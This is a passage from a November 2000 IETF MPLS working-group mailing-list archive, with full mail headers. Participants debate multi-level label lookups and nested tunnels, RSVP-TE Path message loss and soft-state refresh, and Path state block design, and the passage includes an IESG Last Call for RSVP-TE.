ensure that you don't have to do a label lookup unless you really need to know the results of that label lookup to perform a certain function properly. It's difficult to think of situations in which you need to do more than two lookups, one to get a context, and a second to obtain the forwarding information relative to that context (either by a label lookup or an IP address lookup). (We could probably think of such situations, but I'm not sure how realistic they might be.) Php was invented precisely to ensure that you don't end up with a bunch of "sorry, look below" labels when you get to the egress. You don't need to lose QoS information with php, since the QoS can be propagated downward when a label is popped. As Curtis points out, there is some impact on your ability to keep per-LSP counts, and if there were any OAM capability that might be impacted as well. The issues inherent in the handling of nested tunnels are not particularly MPLS-specific, any tunneling technology which allows nested tunnels has the same issues. From owner-mpls@UU.NET Mon Nov 20 11:07:08 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15071 for ; Mon, 20 Nov 2000 11:07:07 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdk10580; Mon, 20 Nov 2000 16:04:35 GMT Received: by mail-control.mail.uu.net id QQjqdk26616 for mpls-outgoing; Mon, 20 Nov 2000 16:03:53 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjqdk25450 for ; Mon, 20 Nov 2000 16:03:38 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqdk12038 for ; Mon, 20 Nov 2000 16:03:26 GMT Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjqdk29580 for ; Mon, 20 Nov 2000 16:03:26 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id IAA15512; Mon, 20 Nov 2000 08:03:24 -0800 (PST) Received: from localhost (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) with ESMTP id LAA12505; Mon, 20 Nov 2000 11:03:24 -0500 (EST) Message-Id: <200011201603.LAA12505@erosen-sun.cisco.com> X-Authentication-Warning: erosen-sun.cisco.com: erosen owned process doing -bs To: "S. Chkaravorty" cc: "'mpls@uu.net'" Subject: Re: multiple lookups per packet In-reply-to: Your message of Sun, 19 Nov 2000 11:11:07 -0500. <3A17FB9B.2DF29B24@erols.com> Reply-To: erosen@cisco.com User-Agent: EMH/1.10.0 WEMI/1.13.2 (Mochimune) FLIM/1.12.1 (=?ISO-8859-4?Q?Nishinoky=F2?=) Emacs/20.6 (sparc-sun-solaris2.5.1) MULE/4.0 (HANANOEN) MIME-Version: 1.0 (generated by WEMI 1.13.2 - "Mochimune") Content-Type: text/plain; charset=US-ASCII Date: Mon, 20 Nov 2000 11:03:24 -0500 From: Eric Rosen Sender: owner-mpls@UU.NET Precedence: bulk SC> One of the largest product vendors have told me that MPLS does not work SC> well in the core where speed (optics_ckts) is the concern. Well, don't believe everything you hear. SC> It is really too complex given this "multi-tunneling" aspect, This makes no sense to me. Either a particular node needs to function as the endpoint of several nested tunnels, or it does not. If it does not, then it will not need to look at more than one label, so the "multi- tunneling aspect" is irrelevant. If the node does need to function as the endpoint of several nested tunnels, then it will need to do multiple lookups regardless of whether MPLS is used or not. Use of MPLS does not force one into use of multi-tunneling mode. From owner-mpls@UU.NET Mon Nov 20 11:12:12 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15869 for ; Mon, 20 Nov 2000 11:12:12 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdk08697; Mon, 20 Nov 2000 16:09:36 GMT Received: by mail-control.mail.uu.net id QQjqdk00764 for mpls-outgoing; Mon, 20 Nov 2000 16:08:39 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqdk00753 for ; Mon, 20 Nov 2000 16:08:35 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqdk27601 for ; Mon, 20 Nov 2000 16:06:01 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqdk13530 for ; Mon, 20 Nov 2000 16:06:01 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id LAA25243 for mpls@uu.net; Mon, 20 Nov 2000 11:06:00 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqdk28980 for ; Mon, 20 Nov 2000 16:04:32 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqdk09430 for ; Mon, 20 Nov 2000 16:04:05 GMT Received: from xover.hjinc.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [38.160.241.130]) id QQjqdk09601 for ; Mon, 20 Nov 2000 16:04:05 GMT Received: by xover.hjinc.com with Internet Mail Service (5.5.2650.21) id ; Mon, 20 Nov 2000 11:01:58 -0500 Message-ID: <87009604743AD411B1F600508BA0F959040CC3@xover.hjinc.com> From: "Sanford, Bill" To: "'Vadlamani rao'" , "mpls@uu.net" Subject: RE: LSP setup using RSVP-TE Date: Mon, 20 Nov 2000 11:01:57 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-mpls@UU.NET Precedence: bulk There is a way for the ingress LER to know. You need to implement ERO and RRO. Either way, you will get the RESV message or you should get an error of a failed node. Bill -----Original Message----- From: Vadlamani rao [mailto:raovrn@rediffmail.com] Sent: Sunday, November 19, 2000 11:56 AM To: mpls@uu.net Subject: LSP setup using RSVP-TE Hello, What happens if the Path message using the RSVP-TE mechanism is lost in the network ? Currently, if I understand correctly there is no way for the ingress LSR (which initiates the LSP setup) to know about it, since the refresh timer starts only after the RESV is received. If this is true, the HELLO mechanism specified in the draft should have been mandatory to be implemented and not optional. Could somebody clarify this ? Thanks Raovrn _____________________________________________________ Chat with your friends as soon as they come online. Get Rediff Bol at http://bol.rediff.com Participate in crazy auctions at http://auctions.rediff.com/auctions/ From owner-mpls@UU.NET Mon Nov 20 11:13:25 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA16048 for ; Mon, 20 Nov 2000 11:13:25 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdk05817; Mon, 20 Nov 2000 16:04:59 GMT Received: by mail-control.mail.uu.net id QQjqdk28022 for mpls-outgoing; Mon, 20 Nov 2000 16:04:14 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqdk27905 for ; Mon, 20 Nov 2000 16:04:12 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqdk17479 for ; Mon, 20 Nov 2000 16:02:28 GMT Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjqdk02073 for ; Mon, 20 Nov 2000 16:02:28 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA02608 for ; Mon, 20 Nov 2000 11:02:22 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA23169 for ; Mon, 20 Nov 2000 11:02:23 -0500 (EST) Message-ID: <3A194B1A.32ED9CDC@marconi.com> Date: Mon, 20 Nov 2000 11:02:34 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: "mpls@uu.net" Subject: Re: LSP setup using RSVP-TE References: <20001119165556.23399.qmail@mailweb5.rediffmail.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Vadlamani rao wrote: > > What happens if the Path message using the RSVP-TE mechanism is lost > in the network? Then it gets lost. The last router that successfully received the Path will refresh it when its refresh interval expires. The refresh message, which is identical to the Path message it tried to send out originally, will finish establishing the Path. > Currently, if I understand correctly there is no way for the ingress > LSR (which initiates the LSP setup) to know about it, since the > refresh timer starts only after the RESV is received. No. Every router starts its refresh timer as soon as state is established. To do otherwise will guarantee failure if a single message is lost. The ingress LSR will not know about the loss, but it doesn't have to. It will simply experience a (perhaps substantial) delay between sending out its Path message and receiving the Resv message. If it chooses not to wait, and tears down the Path state, it is free to do so. It is also free to immediately begin refreshing the Path state and wait indefinitely for a response. > If this is true, the HELLO mechanism specified in the draft should > have been mandatory to be implemented and not optional. Hello can be used to detect link failure. It does nothing to prevent or detect Path/Resv packet loss. If a link goes down, Hello will detect it quickly. (Of course, if carrier is lost on a link, it will be detected without Hello processing on most hardware.) If the packet is lost without link failure (maybe the receiving router is overloaded and has run out of receive buffer space), Hello may not detect anything unusual. -- David From owner-mpls@UU.NET Mon Nov 20 11:28:58 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA18066 for ; Mon, 20 Nov 2000 11:28:58 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdl07057; Mon, 20 Nov 2000 16:25:03 GMT Received: by mail-control.mail.uu.net id QQjqdl02796 for mpls-outgoing; Mon, 20 Nov 2000 16:24:22 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqdl02750 for ; Mon, 20 Nov 2000 16:24:14 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqdl06617 for ; Mon, 20 Nov 2000 16:23:10 GMT Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjqdl03923 for ; Mon, 20 Nov 2000 16:23:10 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA05222 for ; Mon, 20 Nov 2000 11:23:08 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id LAA29583 for ; Mon, 20 Nov 2000 11:23:08 -0500 (EST) Message-ID: <3A194FF8.D8DFA59@marconi.com> Date: Mon, 20 Nov 2000 11:23:20 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: "mpls@uu.net" Subject: Re: LSP setup using RSVP-TE References: <87009604743AD411B1F600508BA0F959040CC3@xover.hjinc.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit "Sanford, Bill" wrote: > > There is a way for the ingress LER to know. You need to implement ERO > and RRO. Either way, you will get the RESV message or you should get > an error of a failed node. Why? This assumes that an entire switch (or interface) has failed, and has been down long enough for its neighbors to detect the failure (perhaps via routing table changes). Consider, however, a router that is heavily loaded and is running low on memory. Carrier on the link remains up. Routing protocols may continue updating each other. Even RSVP Hello messages may continue exchaning OK. But the low-memory may result in some degree of packet loss. If an RSVP path message is received, and dropped due to lack of memory, how is the previous-hop router going to detect this and generate an error? The answer is that it won't. But it shouldn't matter, because the normal soft-state mechanism will refresh the state, hopefully successfully on the next try. -- David From owner-mpls@UU.NET Mon Nov 20 11:30:05 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA18256 for ; Mon, 20 Nov 2000 11:30:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdl04815; Mon, 20 Nov 2000 16:25:59 GMT Received: by mail-control.mail.uu.net id QQjqdl02916 for mpls-outgoing; Mon, 20 Nov 2000 16:25:27 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqdl02909 for ; Mon, 20 Nov 2000 16:25:23 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqdl07021 for ; Mon, 20 Nov 2000 16:24:28 GMT Received: from tenornetworks.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtu.tenornetworks.com [63.77.213.2]) id QQjqdl16851 for ; Mon, 20 Nov 2000 16:24:28 GMT Received: from tenornet.com (newman [192.168.0.185]) by tenornetworks.com (Switch-2.1.0/Switch-2.1.0) with SMTP id eAKGOPv07105; Mon, 20 Nov 2000 11:24:25 -0500 (EST) Received: from 192.168.0.185 by tenornet.com; MON, 20 Nov 2000 11:14:13 -0700 Received: by newman.tenornet.com with Internet Mail Service (5.5.2650.21) id ; Mon, 20 Nov 2000 11:14:13 -0500 Message-ID: <6B190B34070BD411ACA000B0D0214E563A80FB@newman.tenornet.com> From: "Shah, Himanshu" To: "'erosen@cisco.com'" , "S. Chkaravorty" Cc: "'mpls@uu.net'" Subject: RE: multiple lookups per packet Date: Mon, 20 Nov 2000 11:14:06 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-mpls@UU.NET Precedence: bulk agree everything except the last statement. I think traffic engineering aspects of MPLS may require cascadeing tunnels for service aggregation purposes. This is new and not a bad thing, just contradicts your last point. -----Original Message----- From: Eric Rosen [mailto:erosen@cisco.com] Sent: Monday, November 20, 2000 11:03 AM To: S. Chkaravorty Cc: 'mpls@uu.net' Subject: Re: multiple lookups per packet SC> One of the largest product vendors have told me that MPLS does not work SC> well in the core where speed (optics_ckts) is the concern. Well, don't believe everything you hear. SC> It is really too complex given this "multi-tunneling" aspect, This makes no sense to me. Either a particular node needs to function as the endpoint of several nested tunnels, or it does not. If it does not, then it will not need to look at more than one label, so the "multi- tunneling aspect" is irrelevant. If the node does need to function as the endpoint of several nested tunnels, then it will need to do multiple lookups regardless of whether MPLS is used or not. Use of MPLS does not force one into use of multi-tunneling mode. From owner-mpls@UU.NET Mon Nov 20 11:59:44 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA24474 for ; Mon, 20 Nov 2000 11:59:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdn28821; Mon, 20 Nov 2000 16:57:56 GMT Received: by mail-control.mail.uu.net id QQjqdn05925 for mpls-outgoing; Mon, 20 Nov 2000 16:57:28 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjqdn05845 for ; Mon, 20 Nov 2000 16:57:15 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqdn22296 for ; Mon, 20 Nov 2000 16:56:26 GMT Received: from csa.iisc.ernet.in by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: csa.iisc.ernet.in [144.16.67.8]) id QQjqdn27335 for ; Mon, 20 Nov 2000 16:56:23 GMT Received: from ada.csa.iisc.ernet.in (IDENT:root@ada.csa.iisc.ernet.in [144.16.67.35]) by csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id WAA09000 for ; Mon, 20 Nov 2000 22:23:51 +0530 Received: from localhost (prasanna@localhost) by ada.csa.iisc.ernet.in (8.9.3/8.9.3) with ESMTP id WAA07986 for ; Mon, 20 Nov 2000 22:26:12 +0530 X-Authentication-Warning: ada.csa.iisc.ernet.in: prasanna owned process doing -bs Date: Mon, 20 Nov 2000 22:26:11 +0530 (IST) From: Gaitonde Anandprasanna To: mpls@UU.NET Subject: Question regarding Path state bolck in case of RSVP-TE Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk I have read the recent draft of RSVP-TE but it does not discuss what should be the contents of the Path state block. For RSVP RFC 2209 discuses the contents of PSB , RSB etc. Should there be any changes to the PSB and others for RSVP-TE. I want to know whether it is implelentation dependednt or is it standard?? Thanx in advance Pras _____________________________ _ |ANANDPRASANNA GAITONDE | _ / )|COMP. SCIENCE & AUTOMATION |( \ / / |D-7,IISc HOSTEL | \ \ / / |INDIAN INSTITUTE OF SCIENCE| \ \ _( (_ |BANGALORE-560012. | _) )_ (((\ \>|_/->___________________<-_|; Mon, 20 Nov 2000 12:35:40 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdq25816; Mon, 20 Nov 2000 17:33:51 GMT Received: by mail-control.mail.uu.net id QQjqdq21415 for mpls-outgoing; Mon, 20 Nov 2000 17:33:28 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqdq21409 for ; Mon, 20 Nov 2000 17:33:23 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqdq09543 for ; Mon, 20 Nov 2000 17:32:33 GMT Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6]) id QQjqdq27343 for ; Mon, 20 Nov 2000 17:32:32 GMT Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA12752 for ; Mon, 20 Nov 2000 12:32:30 -0500 (EST) Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id MAA20780 for ; Mon, 20 Nov 2000 12:32:30 -0500 (EST) Message-ID: <3A19603A.28C458E4@marconi.com> Date: Mon, 20 Nov 2000 12:32:42 -0500 From: David Charlap X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en-US,en-GB,en MIME-Version: 1.0 To: mpls@UU.NET Subject: Re: Question regarding Path state bolck in case of RSVP-TE References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Gaitonde Anandprasanna wrote: > > I have read the recent draft of RSVP-TE > > but it does not discuss what should be the contents of the Path state > block. The PSB is an internal structure. Put anything in there that you think makes sense for an implementation. RFCs do not dictate your internal designs. > For RSVP RFC 2209 discuses the contents of PSB , RSB etc. RFC 2209 is an informational RFC that describes one possible implementation. You are not required to make your implementation identical to it. > Should there be any changes to the PSB and others for RSVP-TE. Probably. > I want to know whether it is implelentation dependednt or is it > standard?? The layout of purely internal data structures are never requirements. -- David From owner-mpls@UU.NET Mon Nov 20 13:19:18 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA15975 for ; Mon, 20 Nov 2000 13:19:18 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdt03901; Mon, 20 Nov 2000 18:17:29 GMT Received: by mail-control.mail.uu.net id QQjqdt07296 for mpls-outgoing; Mon, 20 Nov 2000 18:17:07 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqdt07291 for ; Mon, 20 Nov 2000 18:16:53 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjqdt24481 for ; Mon, 20 Nov 2000 18:16:33 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjqdt11286 for ; Mon, 20 Nov 2000 18:16:32 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id NAA15281 for mpls@uu.net; Mon, 20 Nov 2000 13:16:32 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjqdt07121 for ; Mon, 20 Nov 2000 18:15:53 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjqdt24402 for ; Mon, 20 Nov 2000 18:15:12 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjqdt00425 for ; Mon, 20 Nov 2000 18:15:12 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA14966; Mon, 20 Nov 2000 13:15:11 -0500 (EST) Message-Id: <200011201815.NAA14966@ietf.org> To: IETF-Announce:; Cc: mpls@UU.NET From: The IESG SUBJECT: Last Call: RSVP-TE: Extensions to RSVP for LSP Tunnels to Proposed Standard Reply-to: iesg@ietf.org Date: Mon, 20 Nov 2000 13:15:11 -0500 Sender: owner-mpls@UU.NET Precedence: bulk The IESG has received a request from the Multiprotocol Label Switching Working Group to consider RSVP-TE: Extensions to RSVP for LSP Tunnels as a Proposed Standard. The IESG will also consider Applicability Statement for Extensions to RSVP for LSP-Tunnels as an Informational RFC. The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by December 4, 2000. Files can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-mpls-rsvp-lsp-tunnel-07.txt http://www.ietf.org/internet-drafts/draft-ietf-mpls-rsvp-tunnel-applicability-01.txt From owner-mpls@UU.NET Mon Nov 20 14:23:56 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28920 for ; Mon, 20 Nov 2000 14:23:55 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdk26027; Mon, 20 Nov 2000 16:12:49 GMT Received: by mail-control.mail.uu.net id QQjqdk01250 for mpls-outgoing; Mon, 20 Nov 2000 16:12:08 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqdk01232 for ; Mon, 20 Nov 2000 16:11:55 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjqdk01329 for ; Mon, 20 Nov 2000 16:11:15 GMT Received: from nexen.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: maelstrom.nexen.com [204.249.97.5]) id QQjqdk23402 for ; Mon, 20 Nov 2000 16:11:15 GMT Received: from phish.nexen.com (phish [204.249.97.14]) by nexen.com (8.11.0/8.11.0) with ESMTP id eAKGBFl19539; Mon, 20 Nov 2000 11:11:15 -0500 (EST) Received: from nexen.com (bhome [204.249.97.124]) by phish.nexen.com (8.8.5/8.8.5) with ESMTP id LAA14784; Mon, 20 Nov 2000 11:11:06 -0500 (EST) Message-ID: <3A194D20.880C2B59@nexen.com> Date: Mon, 20 Nov 2000 11:11:13 -0500 From: Mark Stewart X-Mailer: Mozilla 4.7 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: "S. Chkaravorty" CC: "'mpls@uu.net'" Subject: Re: multiple lookups per packet References: <7F4AC78738EAD2119D86009027626C6D012CEEC6@packetbdc.riverdelta.com> <3A17FB9B.2DF29B24@erols.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi All comments inline "S. Chkaravorty" wrote: > All, > > Do we have a response to these questions from the proponents of MPLS? > The line rate issue in the worst case of tunneling is a very valid > concern. Most vendors restrict the number of lookup operations that may be performed in hardware at any hop on a single packet, having made an educated guess as to how many their customers will need for most practical applications. As the device has the capacity to reject the establishment of LSP's which require a larger number of lookups there is no real danger of it receiving such packets. > One of the largest product vendors have told me that MPLS does not > work well in the core where speed (optics_ckts) is the concern. It sounds like said vendor doesn't have a good MPLS implementation yet. > It is really too complex given this "multi-tunneling" aspect, and with > LDP, it is still more complex (not accounting for versions of LDP) and > then there is the unresolved control plane debate between optics and > IP. FUD > It appears that MPLS is a technology bandwagon on which a lot of us > want a ride but not sure where it is taking us. Some of us are very comfortable with the way the MPLS standards/technology is evolving and see it as promising greatly improved network management and traffic engineering. > Or is this a wrong way of thinking? yes > > Some of you must know that through variations of hardware and/or > software solution, a large number of start-ups are > developing/providing high-speed switching and QoS provisioning in the > edge and also in the core. It seems these folks are not waiting for > the MPLS solution. > No one is arguing that MPLS is the only possible way of deploying IPQoS. It provides a good solution which does not require the metropolitan and long distance carriers to completely redesign their network design strategies but instead extend them in a scalable fashion. ciao mark > > S.C. > > > > Kalpesh Sheth wrote: > >> This is a very good question and I, too would be interested in >> hearing what other's have to say. As far as I know, this is the >> reason no body gurantees line rate when you have more than one/two >> level of tunneling. In hardware your processing time is governed by >> the worst-case scenario and in this case, there is not end to it. >> MPLS architecture spec. does not address this. Other than some >> proprietary way to handle this, I don't see how one can maintain >> "line rate".-Kalpesh Sheth >> >> -----Original Message----- >> From: Eyad Saheb [mailto:esaheb@hyperchip.com] >> Sent: Thursday, November 16, 2000 11:01 PM >> To: 'mpls@uu.net' >> Subject: multiple lookups per packet >> Hello everyone, >> >> I have a question regarding the number of label >> lookups/operation required per packet. Particularly, if a >> LSR does a lookup on an incoming packet it could result in >> another lookup. For example, consider the case where a >> packet gets labeled upon entry into a MPLS domain. At the >> following LSR, this packet/LSP can be further tunneled by >> adding another label to the stack. This tunnel could >> itself be tunneled by another LSR, and so on, resulting in >> a considerable label stack. Suppose that all the tunnels >> terminate on the same LSR. The terminating LSR would >> perform a lookup, determine it is the end of the LSP, and >> pop the label. However the next label would indicate the >> same thing, etc... This kind of situation can make it >> difficult for routers to maintain line-rate fowarding >> since there's no guarantee that the next lookup won't lead >> to another. Is there a way around this (perhaps using >> penultimate hop popping)? Does the MPLS architecture >> stipulate that situations like this should/must not occur >> ? >> >> thanks, >> >> Eyad >> >> From owner-mpls@UU.NET Mon Nov 20 14:54:39 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA03922 for ; Mon, 20 Nov 2000 14:54:39 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjqdz00136; Mon, 20 Nov 2000 19:52:56 GMT Received: by mail-control.mail.uu.net id QQjqdz25514 for mpls-outgoing; Mon, 20 Nov 2000 19:52:23 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjqdz25509 for ; Mon, 20 Nov 2000 19:52:12 